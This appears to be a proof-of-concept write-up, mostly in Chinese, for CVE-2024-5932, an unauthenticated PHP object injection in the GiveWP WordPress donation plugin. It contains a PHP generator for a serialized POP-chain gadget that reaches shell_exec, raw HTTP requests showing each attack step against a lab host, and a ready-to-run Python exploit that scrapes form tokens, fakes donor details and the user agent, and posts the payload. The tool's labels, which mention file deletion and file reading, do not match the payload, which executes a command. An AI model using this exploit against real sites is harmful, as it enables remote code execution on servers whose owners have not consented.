WordPress中的GiveWP捐款插件和募捐平台插件存在PHP对象注入漏洞，该漏洞存在于所有版本，包括最高版本3.14.1在内。漏洞源于对来自“give_title”参数的不可信输入进行反序列化操作。这使得未经身份验证的攻击者能够注入PHP对象。此外，如果存在POP链，攻击者可以远程执行代码并删除任意文件。
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}获取give_form_id
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_form_search
获取 give-form-hash
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_donation_form_nonce&give_form_id=11
give_title 填入poc.php生成的序列化数据
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&give_email=1@random.com&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserializedimport requests
from bs4 import BeautifulSoup
from faker import Faker
from urllib.parse import urlparse
import random
import hashlib
import time
import sys
import re
import rich_click as click
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
banner = r"""
Analysis base : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/
=============================================================================================================
CVE-2024-5932 : GiveWP unauthenticated PHP Object Injection
description: The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
Arbitrary File Deletion
=============================================================================================================
"""
class GiveWPExploit:
def __init__(self, url: str, file: str):
self.url = url
self.file = file
def greeting() -> None:
print(banner)
def spinner(duration=10, interval=0.1) -> None:
spinner_chars = ['|', '/', '-', '\\']
end_time = time.time() + duration
while time.time() < end_time:
for char in spinner_chars:
sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
sys.stdout.flush()
time.sleep(interval)
print("")
def getBaseUrl(self, url):
parsed_url = urlparse(url)
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return base_url
def getParams(self) -> dict:
response = requests.get(self.url)
soup = BeautifulSoup(response.text, 'html.parser')
give_form_id = soup.find('input', {'name': 'give-form-id'})['value']
give_form_hash = soup.find('input', {'name': 'give-form-hash'})['value']
button_tag = soup.find('button', {'data-price-id': True})
give_price_id = button_tag['data-price-id']
give_amount = button_tag.get_text(strip=True)
# Fake Userinfo
fake = Faker()
params = {"give-form-id" : give_form_id,
"give-form-hash" : give_form_hash,
"give-price-id" : give_price_id,
"give-amount" : give_amount,
"give_first": fake.first_name(),
"give_last": fake.last_name(),
"give_email": fake.email(),}
return params
def getData(self) -> dict:
file = self.file
rand_md5 = hashlib.md5(str(random.randint(0, 10)).encode()).hexdigest()
# Payload
payload = 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}' % (len(file), file)
data = self.getParams()
data['give_title'] = payload
data['give-gateway'] = 'offline'
data['action'] = 'give_process_donation'
print(f"[+] Requested Data: ")
print(data)
return data
def isEmbed(self, url: str) -> str:
pattern = r'<iframe[\s\S]*?\bname="give-embed-form"[\s\S]*?>'
response = requests.get(url)
match = re.search(pattern, response.text)
if match:
soup1 = BeautifulSoup(response.text, 'html.parser')
embed_url = soup1.find('iframe')['src']
return embed_url
else:
return url
def sendRequest(self) -> None:
# Fake User_Agent
fake = Faker()
baseUrl = self.getBaseUrl(self.url)
reqUrl = f"{baseUrl}/wp-admin/admin-ajax.php"
data = self.getData()
headers = {
'User-Agent': fake.user_agent(),
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate, br'
}
response = requests.post(reqUrl, data=data, headers=headers)
def exploit(self) -> None:
self.url = self.isEmbed(self.url)
self.sendRequest()
# argument parsing with rich_click
@click.command()
@click.option(
"-u",
"--url",
required=True,
help="Specify a URL or domain for vulnerability detection (Donation-Form Page)",
)
@click.option(
"-c",
"--cmd",
default="/tmp/test",
help="Specify the file to read from the server",
)
def main(url: str, cmd: str) -> None:
cve_exploit = GiveWPExploit(url, cmd)
GiveWPExploit.greeting()
GiveWPExploit.spinner(duration=1)
cve_exploit.exploit()
if __name__ == "__main__":
main()